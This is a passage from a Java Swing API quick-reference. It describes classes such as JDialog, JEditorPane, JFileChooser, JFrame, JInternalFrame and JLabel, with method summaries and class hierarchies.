public class JDialog extends java.awt.Dialog implements Accessible, RootPaneContainer, WindowConstants {
// | Public Constructors
 | public JDialog (); |
 | public JDialog (java.awt.Dialog owner); |
 | public JDialog (java.awt.Frame owner); |
 | public JDialog (java.awt.Dialog owner, String title); |
 | public JDialog (java.awt.Frame owner, boolean modal); |
 | public JDialog (java.awt.Frame owner, String title); |
 | public JDialog (java.awt.Dialog owner, boolean modal); |
 | public JDialog (java.awt.Frame owner, String title, boolean modal); |
 | public JDialog (java.awt.Dialog owner, String title, boolean modal); |
// | Inner Classes
 | ; |
// | Property Accessor Methods (by property name)
 | public AccessibleContext getAccessibleContext (); | Implements:Accessible default:AccessibleJDialog
 | public Container getContentPane (); | Implements:RootPaneContainer default:JPanel
 | public void setContentPane (Container contentPane); | Implements:RootPaneContainer hidden
 | public int getDefaultCloseOperation (); | default:1
 | public void setDefaultCloseOperation (int operation); | preferred
 | public Component getGlassPane (); | Implements:RootPaneContainer default:JPanel
 | public void setGlassPane (Component glassPane); | Implements:RootPaneContainer hidden
 | public JMenuBar getJMenuBar (); | default:null
 | public void setJMenuBar (JMenuBar menu); | hidden
 | public JLayeredPane getLayeredPane (); | Implements:RootPaneContainer
 | public void setLayeredPane (JLayeredPane layeredPane); | Implements:RootPaneContainer hidden
 | public void setLayout (java.awt.LayoutManager manager); | Overrides:Container
 | public JRootPane getRootPane (); | Implements:RootPaneContainer
// | Public Instance Methods
 | public void setLocationRelativeTo (Component c); |
// | Methods Implementing Accessible
 | public AccessibleContext getAccessibleContext (); | default:AccessibleJDialog
// | Methods Implementing RootPaneContainer
 | public Container getContentPane (); | default:JPanel
 | public Component getGlassPane (); | default:JPanel
 | public JLayeredPane getLayeredPane (); |
 | public JRootPane getRootPane (); |
 | public void setContentPane (Container contentPane); | hidden
 | public void setGlassPane (Component glassPane); | hidden
 | public void setLayeredPane (JLayeredPane layeredPane); | hidden
// | Protected Methods Overriding Dialog
 | protected String paramString (); |
// | Protected Methods Overriding Window
 | protected void processWindowEvent (java.awt.event.WindowEvent e); |
// | Public Methods Overriding Container
 | public void remove (Component comp); |
 | public void update (java.awt.Graphics g); |
// | Protected Methods Overriding Container
 | protected void addImpl (Component comp, Object constraints, int index); |
// | Protected Methods Overriding Component
 | protected void processKeyEvent (java.awt.event.KeyEvent e); |
// | Protected Instance Methods
 | protected JRootPane createRootPane (); |
 | protected void dialogInit (); |
 | protected boolean isRootPaneCheckingEnabled (); |
 | protected void setRootPane (JRootPane root); | hidden
 | protected void setRootPaneCheckingEnabled (boolean enabled); | hidden
// | Protected Instance Fields
 | protected AccessibleContext accessibleContext ; |
 | protected JRootPane rootPane ; |
 | protected boolean rootPaneCheckingEnabled ; |
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,java.awt.MenuContainer,Serializable)-->Container-->java.awt.Window-->java.awt.Dialog-->JDialog(Accessible,RootPaneContainer,WindowConstants)

Returned By: JColorChooser.createDialog(), JOptionPane.createDialog()

JEditorPane | Java 1.2
javax.swing | serializable accessible(text,hypertext) swing component

This class is a subclass of javax.swing.text.JTextComponent that can be easily configured to display and edit different formatted-text content types using a javax.swing.text.EditorKit object. To configure a JEditorPane, call setEditorKit() to specify an appropriate editor kit for the desired content type. Alternatively, use the static registerEditorKitForContentType() to register a mapping between content types and their corresponding editor kits and then call setContentType(). With such a mapping in place, you may also use setPage() to specify a URL to be displayed. The JEditorPane determines the content type of the URL, installs an appropriate EditorKit, and loads the contents of the URL into the JEditorPane. Swing comes with two predefined EditorKit subclasses: javax.swing.text.html.HTMLEditorKit and javax.swing.text.rtf.RTFEditorKit.

public class JEditorPane extends javax.swing.text.JTextComponent {
// | Public Constructors
 | public JEditorPane (); |
 | public JEditorPane (String url) throws java.io.IOException; |
 | public JEditorPane (java.net.URL initialPage) throws java.io.IOException; |
 | public JEditorPane (String type, String text); |
// | Inner Classes
 | ; |
 | ; |
 | ; |
// | Public Class Methods
 | public static javax.swing.text.EditorKit createEditorKitForContentType (String type); |
 | public static void registerEditorKitForContentType (String type, String classname); |
 | public static void registerEditorKitForContentType (String type, String classname, ClassLoader loader); |
// | Event Registration Methods (by event name)
 | public void addHyperlinkListener (javax.swing.event.HyperlinkListener listener); | synchronized
 | public void removeHyperlinkListener (javax.swing.event.HyperlinkListener listener); | synchronized
// | Property Accessor Methods (by property name)
 | public AccessibleContext getAccessibleContext (); | Overrides:JTextComponent default:AccessibleJEditorPane
 | public final String getContentType (); | default:"text/plain"
 | public final void setContentType (String type); |
 | public final javax.swing.text.EditorKit getEditorKit (); |
 | public void setEditorKit (javax.swing.text.EditorKit kit); | bound expert
 | public boolean isManagingFocus (); | Overrides:JComponent constant default:true
 | public java.net.URL getPage (); | default:null
 | public void setPage (java.net.URL page) throws java.io.IOException; | bound expert
 | public void setPage (String url) throws java.io.IOException; |
 | public java.awt.Dimension getPreferredSize (); | Overrides:JComponent
 | public boolean getScrollableTracksViewportHeight (); | Overrides:JTextComponent default:false
 | public boolean getScrollableTracksViewportWidth (); | Overrides:JTextComponent default:false
 | public String getText (); | Overrides:JTextComponent default:""
 | public void setText (String t); | Overrides:JTextComponent
 | public String getUIClassID (); | Overrides:JComponent default:"EditorPaneUI"
// | Public Instance Methods
 | public void fireHyperlinkUpdate (javax.swing.event.HyperlinkEvent e); |
 | public javax.swing.text.EditorKit getEditorKitForContentType (String type); |
 | public void read (java.io.InputStream in, Object desc) throws java.io.IOException; |
 | public void setEditorKitForContentType (String type, javax.swing.text.EditorKit k); |
// | Public Methods Overriding JTextComponent
 | public void replaceSelection (String content); |
// | Protected Methods Overriding JTextComponent
 | protected String paramString (); |
 | protected void processComponentKeyEvent (java.awt.event.KeyEvent e); |
// | Protected Instance Methods
 | protected javax.swing.text.EditorKit createDefaultEditorKit (); |
 | protected java.io.InputStream getStream (java.net.URL page) throws java.io.IOException; |
 | protected void scrollToReference (String reference); |
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,java.awt.MenuContainer,Serializable)-->Container-->JComponent(Serializable)-->javax.swing.text.JTextComponent(Accessible,Scrollable)-->JEditorPane

Subclasses: JTextPane

Passed To: javax.swing.text.EditorKit.{deinstall(), install()}, javax.swing.text.StyledEditorKit.{deinstall(), install()}, javax.swing.text.StyledEditorKit.StyledTextAction.{getStyledDocument(), getStyledEditorKit(), setCharacterAttributes(), setParagraphAttributes()}, javax.swing.text.html.HTMLEditorKit.{deinstall(), install()}, javax.swing.text.html.HTMLEditorKit.HTMLTextAction.{getHTMLDocument(), getHTMLEditorKit()}, javax.swing.text.html.HTMLEditorKit.InsertHTMLTextAction.{insertAtBoundry(), insertHTML()}, javax.swing.text.html.HTMLEditorKit.LinkController.activateLink()

Returned By: javax.swing.text.StyledEditorKit.StyledTextAction.getEditor()

JFileChooser | Java 1.2
javax.swing | serializable accessible swing component

This component allows the user to select a file. After creating a JFileChooser component, and setting any desired properties, the easiest way to use it is to call showOpenDialog() or showSaveDialog(). These methods display the JFileChooser in a modal dialog box, using the component you specify as its parent. They also customize the "Okay" button to read Open or Save (or locale-appropriate equivalents). You can also call showDialog() and explicitly specify the text to appear in the "Okay" button. The methods return APPROVE_OPTION if the user selects a file and clicks the Save or Open button. They return CANCEL_OPTION if the user clicks the Cancel button or otherwise dismisses the dialog. They return ERROR_OPTION if some sort of error or exception occurs during file selection. When the return value is APPROVE_OPTION, you can call getSelectedFile() to obtain a File object that represents the file the user selected.

Other commonly used JFileChooser properties are currentDirectory, which specifies the initial or most recently selected directory displayed by the JFileChooser, and fileSelectionMode, which specifies whether the JFileChooser should allow the user to choose a file, a directory, or either. The legal values for the fileSelectionMode property are FILES_ONLY, DIRECTORIES_ONLY, and FILES_AND_DIRECTORIES.

You can selectively filter files, so that only certain choices are displayed to the user, by passing a javax.swing.filechooser.FileFilter object to setFileFilter(). This allows you, for example, to tell the JFileChooser to display only files that have an extension of .htm or .html. The default FileFilter is one that display all files. You can obtain an instance of it by calling getAcceptAllFileFilter(). You can provide a set of file filters for the user to choose from by setting the choosableFileFilters property to an array of FileFilter objects.

In addition to file filters, JFileChooser provides another powerful way to customize the file selection dialog. The accessory property allows you to specify a JComponent file selection accessory to be displayed within the JFileChooser. Such accessories are typically used as file previewers. For example, you might write an accessory to display a thumbnail version of a selected image file. The accessory object must register a PropertyChangeListener on the JFileChooser, so that it can receive notification of changes in the selectedFile property.

public class JFileChooser extends JComponent implements Accessible {
// | Public Constructors
 | public JFileChooser (); |
 | public JFileChooser (javax.swing.filechooser.FileSystemView fsv); |
 | public JFileChooser (java.io.File currentDirectory); |
 | public JFileChooser (String currentDirectoryPath); |
 | public JFileChooser (java.io.File currentDirectory, javax.swing.filechooser.FileSystemView fsv); |
 | public JFileChooser (String currentDirectoryPath, javax.swing.filechooser.FileSystemView fsv); |
// | Public Constants
 | public static final String ACCESSORY_CHANGED_PROPERTY ; | ="AccessoryChangedProperty"
 | public static final String APPROVE_BUTTON_MNEMONIC_CHANGED_PROPERTY ; | ="ApproveButtonMnemonicChangedProperty"
 | public static final String APPROVE_BUTTON_TEXT_CHANGED_PROPERTY ; | ="ApproveButtonTextChangedProperty"
 | public static final String APPROVE_BUTTON_TOOL_TIP_TEXT_CHANGED_PROPERTY ; | ="ApproveButtonToolTipTextChangedProperty"
 | public static final int APPROVE_OPTION ; | =0
 | public static final String APPROVE_SELECTION ; | ="ApproveSelection"
 | public static final int CANCEL_OPTION ; | =1
 | public static final String CANCEL_SELECTION ; | ="CancelSelection"
 | public static final String CHOOSABLE_FILE_FILTER_CHANGED_PROPERTY ; | ="ChoosableFileFilterChangedProperty"
 | public static final int CUSTOM_DIALOG ; | =2
 | public static final String DIALOG_TITLE_CHANGED_PROPERTY ; | ="DialogTitleChangedProperty"
 | public static final String DIALOG_TYPE_CHANGED_PROPERTY ; | ="DialogTypeChangedProperty"
 | public static final int DIRECTORIES_ONLY ; | =1
 | public static final String DIRECTORY_CHANGED_PROPERTY ; | ="directoryChanged"
 | public static final int ERROR_OPTION ; | =-1
 | public static final String FILE_FILTER_CHANGED_PROPERTY ; | ="fileFilterChanged"
 | public static final String FILE_HIDING_CHANGED_PROPERTY ; | ="FileHidingChanged"
 | public static final String FILE_SELECTION_MODE_CHANGED_PROPERTY ; | ="fileSelectionChanged"
 | public static final String FILE_SYSTEM_VIEW_CHANGED_PROPERTY ; | ="FileSystemViewChanged"
 | public static final String FILE_VIEW_CHANGED_PROPERTY ; | ="fileViewChanged"
 | public static final int FILES_AND_DIRECTORIES ; | =2
 | public static final int FILES_ONLY ; | =0
 | public static final String MULTI_SELECTION_ENABLED_CHANGED_PROPERTY ; | ="fileFilterChanged"
 | public static final int OPEN_DIALOG ; | =0
 | public static final int SAVE_DIALOG ; | =1
 | public static final String SELECTED_FILE_CHANGED_PROPERTY ; | ="SelectedFileChangedProperty"
 | public static final String SELECTED_FILES_CHANGED_PROPERTY ; | ="SelectedFilesChangedProperty"
// | Inner Classes
 | ; |
// | Event Registration Methods (by event name)
 | public void addActionListener (java.awt.event.ActionListener l); |
 | public void removeActionListener (java.awt.event.ActionListener l); |
// | Property Accessor Methods (by property name)
 | public javax.swing.filechooser.FileFilter getAcceptAllFileFilter (); |
 | public AccessibleContext getAccessibleContext (); | Implements:Accessible default:AccessibleJFileChooser
 | public JComponent getAccessory (); | default:null
 | public void setAccessory (JComponent newAccessory); | bound preferred
 | public int getApproveButtonMnemonic (); | default:0
 | public void setApproveButtonMnemonic (int mnemonic); | bound preferred
 | public void setApproveButtonMnemonic (char mnemonic); |
 | public String getApproveButtonText (); | default:null
 | public void setApproveButtonText (String approveButtonText); | bound preferred
 | public String getApproveButtonToolTipText (); | default:null
 | public void setApproveButtonToolTipText (String toolTipText); | bound preferred
 | public javax.swing.filechooser.FileFilter[ ] getChoosableFileFilters (); |
 | public java.io.File getCurrentDirectory (); |
 | public void setCurrentDirectory (java.io.File dir); | bound preferred
 | public String getDialogTitle (); | default:null
 | public void setDialogTitle (String dialogTitle); | bound preferred
 | public int getDialogType (); | default:0
 | public void setDialogType (int dialogType); | bound preferred
 | public boolean isDirectorySelectionEnabled (); | default:false
 | public javax.swing.filechooser.FileFilter getFileFilter (); |
 | public void setFileFilter (javax.swing.filechooser.FileFilter filter); | bound preferred
 | public boolean isFileHidingEnabled (); | default:true
 | public void setFileHidingEnabled (boolean b); | bound preferred
 | public boolean isFileSelectionEnabled (); | default:true
 | public int getFileSelectionMode (); | default:0
 | public void setFileSelectionMode (int mode); | bound preferred
 | public javax.swing.filechooser.FileSystemView getFileSystemView (); |
 | public void setFileSystemView (javax.swing.filechooser.FileSystemView fsv); | bound expert
 | public javax.swing.filechooser.FileView getFileView (); | default:null
 | public void setFileView (javax.swing.filechooser.FileView fileView); | bound preferred
 | public boolean isMultiSelectionEnabled (); | default:false
 | public void setMultiSelectionEnabled (boolean b); | bound
 | public java.io.File getSelectedFile (); | default:null
 | public void setSelectedFile (java.io.File file); | bound preferred
 | public java.io.File[ ] getSelectedFiles (); |
 | public void setSelectedFiles (java.io.File[ ] selectedFiles); | bound
 | public javax.swing.plaf.FileChooserUI getUI (); |
 | public String getUIClassID (); | Overrides:JComponent default:"FileChooserUI" expert
// | Public Instance Methods
 | public boolean accept (java.io.File f); |
 | public void addChoosableFileFilter (javax.swing.filechooser.FileFilter filter); | bound preferred
 | public void approveSelection (); |
 | public void cancelSelection (); |
 | public void changeToParentDirectory (); |
 | public void ensureFileIsVisible (java.io.File f); |
 | public String getDescription (java.io.File f); |
 | public Icon getIcon (java.io.File f); |
 | public String getName (java.io.File f); |
 | public String getTypeDescription (java.io.File f); |
 | public boolean isTraversable (java.io.File f); |
 | public boolean removeChoosableFileFilter (javax.swing.filechooser.FileFilter f); |
 | public void rescanCurrentDirectory (); |
 | public void resetChoosableFileFilters (); |
 | public int showDialog (Component parent, String approveButtonText); |
 | public int showOpenDialog (Component parent); |
 | public int showSaveDialog (Component parent); |
// | Methods Implementing Accessible
 | public AccessibleContext getAccessibleContext (); | default:AccessibleJFileChooser
// | Public Methods Overriding JComponent
 | public void updateUI (); |
// | Protected Methods Overriding JComponent
 | protected String paramString (); |
// | Protected Instance Methods
 | protected void fireActionPerformed (String command); |
 | protected void setup (javax.swing.filechooser.FileSystemView view); |
// | Protected Instance Fields
 | protected AccessibleContext accessibleContext ; |
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,java.awt.MenuContainer,Serializable)-->Container-->JComponent(Serializable)-->JFileChooser(Accessible)

Passed To: javax.swing.plaf.FileChooserUI.{ensureFileIsVisible(), getAcceptAllFileFilter(), getApproveButtonText(), getDialogTitle(), getFileView(), rescanCurrentDirectory()}

JFrame | Java 1.2
javax.swing | serializable accessible swing component bean container

This class is used to display the main window (or windows) of a Swing application. Every JFrame has a single automatically created JRootPane child. You should not add children directly to the JFrame, but instead call getContentPane() and add children to the container returned by that method. Similarly, if you set a layout manager, you should do so on the container returned by getContentPane(). The default layout manager for this container is an instance of java.awt.BorderLayout.

The JFrame has two other features of interest. First, setJMenuBar() automatically places a specified menubar at the top of the window, leaving the content pane free for other application content. Second, setDefaultCloseOperation() specifies how the window should respond when the user attempts to close it (e.g., by typing Alt-F4 in Windows). The argument to this method should be one of the constants defined by javax.swing.WindowConstants. The default is HIDE_ON_CLOSE. In addition to these features, JFrame also inherits useful methods from java.awt.Frame, including setCursor(), setIconImage(), setResizable(), and setTitle().

JFrame uses a heavyweight native window. To create a lightweight window that appears entirely within the confines of a containing window, you can use JInternalFrame.

public class JFrame extends java.awt.Frame implements Accessible, RootPaneContainer, WindowConstants {
// | Public Constructors
 | public JFrame (); |
 | public JFrame (String title); |
// | Inner Classes
 | ; |
// | Property Accessor Methods (by property name)
 | public AccessibleContext getAccessibleContext (); | Implements:Accessible default:AccessibleJFrame
 | public Container getContentPane (); | Implements:RootPaneContainer default:JPanel
 | public void setContentPane (Container contentPane); | Implements:RootPaneContainer hidden
 | public int getDefaultCloseOperation (); | default:1
 | public void setDefaultCloseOperation (int operation); | preferred
 | public Component getGlassPane (); | Implements:RootPaneContainer default:JPanel
 | public void setGlassPane (Component glassPane); | Implements:RootPaneContainer hidden
 | public JMenuBar getJMenuBar (); | default:null
 | public void setJMenuBar (JMenuBar menubar); | hidden
 | public JLayeredPane getLayeredPane (); | Implements:RootPaneContainer
 | public void setLayeredPane (JLayeredPane layeredPane); | Implements:RootPaneContainer hidden
 | public void setLayout (java.awt.LayoutManager manager); | Overrides:Container
 | public JRootPane getRootPane (); | Implements:RootPaneContainer
// | Methods Implementing Accessible
 | public AccessibleContext getAccessibleContext (); | default:AccessibleJFrame
// | Methods Implementing RootPaneContainer
 | public Container getContentPane (); | default:JPanel
 | public Component getGlassPane (); | default:JPanel
 | public JLayeredPane getLayeredPane (); |
 | public JRootPane getRootPane (); |
 | public void setContentPane (Container contentPane); | hidden
 | public void setGlassPane (Component glassPane); | hidden
 | public void setLayeredPane (JLayeredPane layeredPane); | hidden
// | Protected Methods Overriding Frame
 | protected String paramString (); |
// | Protected Methods Overriding Window
 | protected void processWindowEvent (java.awt.event.WindowEvent e); |
// | Public Methods Overriding Container
 | public void remove (Component comp); |
 | public void update (java.awt.Graphics g); |
// | Protected Methods Overriding Container
 | protected void addImpl (Component comp, Object constraints, int index); |
// | Protected Methods Overriding Component
 | protected void processKeyEvent (java.awt.event.KeyEvent e); |
// | Protected Instance Methods
 | protected JRootPane createRootPane (); |
 | protected void frameInit (); |
 | protected boolean isRootPaneCheckingEnabled (); |
 | protected void setRootPane (JRootPane root); | hidden
 | protected void setRootPaneCheckingEnabled (boolean enabled); | hidden
// | Protected Instance Fields
 | protected AccessibleContext accessibleContext ; |
 | protected JRootPane rootPane ; |
 | protected boolean rootPaneCheckingEnabled ; |
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,java.awt.MenuContainer,Serializable)-->Container-->java.awt.Window-->java.awt.Frame(java.awt.MenuContainer)-->JFrame(Accessible,RootPaneContainer,WindowConstants)

JInternalFrame | Java 1.2
javax.swing | serializable accessible(value) swing component bean container

This class is a lightweight Swing component that simulates a heavyweight native window, complete with titlebar and other window decorations appropriate to the installed look-and-feel. Because it is a lightweight component, with no native window of its own, a JInternalFrame is constrained to stay within the bounds of its container. This container is typically a JDesktopPane. Within a JDesktopPane, a JInternalFrame can be moved, resized, iconified, and maximized, much like a JFrame can be.

JInternalFrame is like JFrame in many ways. A JInternalFrame has a JRootPane as its only child. Components should not be added directly to a JInternalFrame, but rather to the container returned by getContentPane(). setJMenuBar() specifies a menubar for the lightweight window, and setDefaultCloseOperation() specifies how it should respond when the user closes it. See JFrame for more on these two methods.

setTitle() sets the title displayed in the internal frame's titlebar. setFrameIcon() specifies a small image to be displayed in the titlebar and possibly also in the iconified representation of the JInternalFrame. setIconifiable() specifies whether the user is allowed to iconify the window, setIcon() actually iconifies or deiconifies the window, and isIcon() queries whether the window is currently iconified. setDesktopIcon() specifies the internal JInternalFrame.JDesktopIcon object used to represent the iconified version of the JInternalFrame. This last method should not be used by application-level code.

Similarly, setMaximizable() specifies whether the user can maximize the window, and setMaximum() maximizes the window. setResizable() specifies whether the window can be resized. setSelected() selects or deselects the window, and toFront() and toBack() move the window to the top and bottom of the stacking order relative to other JInternalFrame windows. Finally, as with all components, setVisible() makes the window visible or invisible.

public class JInternalFrame extends JComponent implements Accessible, RootPaneContainer, WindowConstants {
// | Public Constructors
 | public JInternalFrame (); |
 | public JInternalFrame (String title); |
 | public JInternalFrame (String title, boolean resizable); |
 | public JInternalFrame (String title, boolean resizable, boolean closable); |
 | public JInternalFrame (String title, boolean resizable, boolean closable, boolean maximizable); |
 | public JInternalFrame (String title, boolean resizable, boolean closable, boolean maximizable, boolean iconifiable); |
// | Public Constants
 | public static final String CONTENT_PANE_PROPERTY ; | ="contentPane"
 | public static final String FRAME_ICON_PROPERTY ; | ="frameIcon"
 | public static final String GLASS_PANE_PROPERTY ; | ="glassPane"
 | public static final String IS_CLOSED_PROPERTY ; | ="closed"
 | public static final String IS_ICON_PROPERTY ; | ="icon"
 | public static final String IS_MAXIMUM_PROPERTY ; | ="maximum"
 | public static final String IS_SELECTED_PROPERTY ; | ="selected"
 | public static final String LAYERED_PANE_PROPERTY ; | ="layeredPane"
 | public static final String MENU_BAR_PROPERTY ; | ="menuBar"
 | public static final String ROOT_PANE_PROPERTY ; | ="rootPane"
 | public static final String TITLE_PROPERTY ; | ="title"
// | Inner Classes
 | ; |
 | ; |
// | Event Registration Methods (by event name)
 | public void addInternalFrameListener (javax.swing.event.InternalFrameListener l); |
 | public void removeInternalFrameListener (javax.swing.event.InternalFrameListener l); |
// | Property Accessor Methods (by property name)
 | public AccessibleContext getAccessibleContext (); | Implements:Accessible default:AccessibleJInternalFrame
 | public boolean isClosable (); | default:false
 | public void setClosable (boolean b); | bound preferred
 | public boolean isClosed (); | default:false
 | public void setClosed (boolean b) throws java.beans.PropertyVetoException; | bound constrained
 | public Container getContentPane (); | Implements:RootPaneContainer default:JPanel
 | public void setContentPane (Container c); | Implements:RootPaneContainer bound hidden
 | public int getDefaultCloseOperation (); | default:1
 | public void setDefaultCloseOperation (int operation); |
 | public JInternalFrame.JDesktopIcon getDesktopIcon (); |
 | public void setDesktopIcon (JInternalFrame.JDesktopIcon d); | bound
 | public JDesktopPane getDesktopPane (); | default:null
 | public Icon getFrameIcon (); |
 | public void setFrameIcon (Icon icon); | bound
 | public Component getGlassPane (); | Implements:RootPaneContainer default:JPanel
 | public void setGlassPane (Component glass); | Implements:RootPaneContainer hidden
 | public boolean isIcon (); | default:false
 | public void setIcon (boolean b) throws java.beans.PropertyVetoException; | bound constrained
 | public boolean isIconifiable (); | default:false
 | public void setIconifiable (boolean b); |
 | public JMenuBar getJMenuBar (); | default:null
 | public void setJMenuBar (JMenuBar m); | preferred
 | public int getLayer (); | default:0
 | public void setLayer (Integer layer); | expert
 | public JLayeredPane getLayeredPane (); | Implements:RootPaneContainer
 | public void setLayeredPane (JLayeredPane layered); | Implements:RootPaneContainer bound hidden
 | public void setLayout (java.awt.LayoutManager manager); | Overrides:Container
 | public boolean isMaximizable (); | default:false
 | public void setMaximizable (boolean b); | bound preferred
 | public boolean isMaximum (); | default:false
 | public void setMaximum (boolean b) throws java.beans.PropertyVetoException; | constrained
 | public boolean isResizable (); | default:false
 | public void setResizable (boolean b); | bound preferred
 | public JRootPane getRootPane (); | Implements:RootPaneContainer
 | public boolean isSelected (); | default:false
 | public void setSelected (boolean selected) throws java.beans.PropertyVetoException; | bound constrained
 | public String getTitle (); | default:""
 | public void setTitle (String title); |
 | public javax.swing.plaf.InternalFrameUI getUI (); |
 | public void setUI (javax.swing.plaf.InternalFrameUI ui); | expert
 | public String getUIClassID (); | Overrides:JComponent default:"InternalFrameUI"
 | public final String getWarningString (); | constant default:null
// | Public Instance Methods
 | public void dispose (); |
 | public void moveToBack (); |
 | public void moveToFront (); |
 | public void pack (); |
 | public void toBack (); |
 | public void toFront (); |
// | Methods Implementing Accessible
 | public AccessibleContext getAccessibleContext (); | default:AccessibleJInternalFrame
// | Methods Implementing RootPaneContainer
 | public Container getContentPane (); | default:JPanel
 | public Component getGlassPane (); | default:JPanel
 | public JLayeredPane getLayeredPane (); |
 | public JRootPane getRootPane (); |
 | public void setContentPane (Container c); | bound hidden
 | public void setGlassPane (Component glass); | hidden
 | public void setLayeredPane (JLayeredPane layered); | bound hidden
// | Public Methods Overriding JComponent
 | public void reshape (int x, int y, int width, int height); |
 | public void setVisible (boolean b); |
 | public void updateUI (); |
// | Protected Methods Overriding JComponent
 | protected void paintComponent (java.awt.Graphics g); |
 | protected String paramString (); |
// | Public Methods Overriding Container
 | public void remove (Component comp); |
// | Protected Methods Overriding Container
 | protected void addImpl (Component comp, Object constraints, int index); |
// | Public Methods Overriding Component
 | public void show (); |
// | Protected Instance Methods
 | protected JRootPane createRootPane (); |
 | protected void fireInternalFrameEvent (int id); |
 | protected boolean isRootPaneCheckingEnabled (); |
 | protected void setRootPane (JRootPane root); | hidden
 | protected void setRootPaneCheckingEnabled (boolean enabled); |
// | Protected Instance Fields
 | protected boolean closable ; |
 | protected JInternalFrame.JDesktopIcon desktopIcon ; |
 | protected Icon frameIcon ; |
 | protected boolean iconable ; |
 | protected boolean isClosed ; |
 | protected boolean isIcon ; |
 | protected boolean isMaximum ; |
 | protected boolean isSelected ; |
 | protected boolean maximizable ; |
 | protected boolean resizable ; |
 | protected JRootPane rootPane ; |
 | protected boolean rootPaneCheckingEnabled ; |
 | protected String title ; |
// | Deprecated Public Methods
# | public JMenuBar getMenuBar (); | default:null
# | public void setMenuBar (JMenuBar m); |
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,java.awt.MenuContainer,Serializable)-->Container-->JComponent(Serializable)-->JInternalFrame(Accessible,RootPaneContainer,WindowConstants)

Passed To: Too many methods to list.

Returned By: JDesktopPane.{getAllFrames(), getAllFramesInLayer()}, JInternalFrame.JDesktopIcon.getInternalFrame(), JOptionPane.createInternalFrame()

JInternalFrame.JDesktopIcon | Java 1.2
javax.swing | serializable accessible swing component

This inner class represents an iconified version of a JInternalFrame to be displayed by a JDesktopPane. The appearance of the JDesktopIcon is left entirely to the current look-and-feel, and JDesktopIcon does not define any properties you can set to change its appearance. JDesktopIcon may be removed in future versions of Swing; it should not be used by application-level code.

public static class JInternalFrame.JDesktopIcon extends JComponent implements Accessible {
// | Public Constructors
 | public JDesktopIcon (JInternalFrame f); |
// | Inner Classes
 | ; |
// | Property Accessor Methods (by property name)
 | public AccessibleContext getAccessibleContext (); | Implements:Accessible
 | public JDesktopPane getDesktopPane (); |
 | public JInternalFrame getInternalFrame (); |
 | public void setInternalFrame (JInternalFrame f); |
 | public javax.swing.plaf.DesktopIconUI getUI (); |
 | public void setUI (javax.swing.plaf.DesktopIconUI ui); |
 | public String getUIClassID (); | Overrides:JComponent
// | Methods Implementing Accessible
 | public AccessibleContext getAccessibleContext (); |
// | Public Methods Overriding JComponent
 | public void updateUI (); |
}

Passed To: JInternalFrame.setDesktopIcon()

Returned By: JInternalFrame.getDesktopIcon()

Type Of: JInternalFrame.desktopIcon

JLabel | Java 1.2
javax.swing | serializable accessible swing component

This class displays a short string of text and/or an Icon. JLabel is a display-only component with no behavior, so the displayed text and/or icon does not respond to any input events. JLabel does not maintain any state and therefore does not use a model. By default, a JLabel displays a single line of text in a single font. However, as of Swing 1.1.1 and Java 1.2.2, if the text property begins with "<html>", the label is formatted as HTML text and may contain multiple fonts and multiple lines.

The icon, text, and font properties need no explanation. disabledIcon specifies an alternate icon to display when the JLabel is disabled. By default, a grayscale version of the regular icon is used. horizontalAlignment and verticalAlignment specify the justification of the label, and horizontalTextPosition and verticalTextPosition specify the position of the text relative to the icon. Each of these properties should be set to one of the LEFT, CENTER, RIGHT, TOP, or BOTTOM constants defined by the SwingConstants interface. The iconTextGap property specifies the number of pixels between the text and the icon.

Although JLabel does not have any behavior of its own, it can display a mnemonic character. If the displayedMnemonic property is set, the specified character is underlined in the label. If the labelFor property refers to another component, the JLabel requests keyboard focus for that component when the mnemonic is used. This is useful for labeling JTextField components, for example.

public class JLabel extends JComponent implements Accessible, SwingConstants {
// | Public Constructors
 | public JLabel (); |
 | public JLabel (Icon image); |
 | public JLabel (String text); |
 | public JLabel (Icon image, int horizontalAlignment); |
 | public JLabel (String text, int horizontalAlignment); |
 | public JLabel (String text, Icon icon, int horizontalAlignment); |
// | Inner Classes
 | ; |
// | Property Accessor Methods (by property name)
 | public AccessibleContext getAccessibleContext (); | Implements:Accessible default:AccessibleJLabel expert
 | public Icon getDisabledIcon (); | default:null
 | public void setDisabledIcon (Icon disabledIcon); | bound
 | public int getDisplayedMnemonic (); | default:0
 | public void setDisplayedMnemonic (int key); | bound
 | public void setDisplayedMnemonic (char aChar); |
 | public int getHorizontalAlignment (); | default:10
 | public void setHorizontalAlignment (int alignment); | bound
 | public int getHorizontalTextPosition (); | default:11
 | public void setHorizontalTextPosition (int textPosition); | bound expert
 | public Icon getIcon (); | default:null
 | public void setIcon (Icon icon); | bound preferred
 | public int getIconTextGap (); | default:4
 | public void setIconTextGap (int iconTextGap); | bound
 | public Component getLabelFor (); | default:null
 | public void setLabelFor (Component c); | bound
 | public String getText (); | default:""
 | public void setText (String text); | bound preferred
 | public javax.swing.plaf.LabelUI getUI (); |
 | public void setUI (javax.swing.plaf.LabelUI ui); | expert
 | public String getUIClassID (); | Overrides:JComponent default:"LabelUI"
 | public int getVerticalAlignment (); | default:0
 | public void setVerticalAlignment (int alignment); | bound
 | public int getVerticalTextPosition (); | default:0
 | public void setVerticalTextPosition (int textPosition); | bound expert
// | Methods Implementing Accessible
 | public AccessibleContext getAccessibleContext (); | default:AccessibleJLabel expert
// | Public Methods Overriding JComponent
 | public void updateUI (); |
// | Protected Methods Overriding JComponent
 | protected String paramString (); |
// | Protected Instance Methods
 | protected int checkHorizontalKey (int key, String message); |
 | protected int checkVerticalKey (int key, String message); |
// | Protected Instance Fields
 | protected Component labelFor ; |
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,java.awt.MenuContainer,Serializable)-->Container-->JComponent(Serializable)-->JLabel(Accessible,SwingConstants)

Subclasses: DefaultListCellRenderer, javax.swing.table.DefaultTableCellRenderer, javax.swing.tree.DefaultTreeCellRenderer

JLayeredPane | Java 1.2
javax.swing | serializable accessible swing component

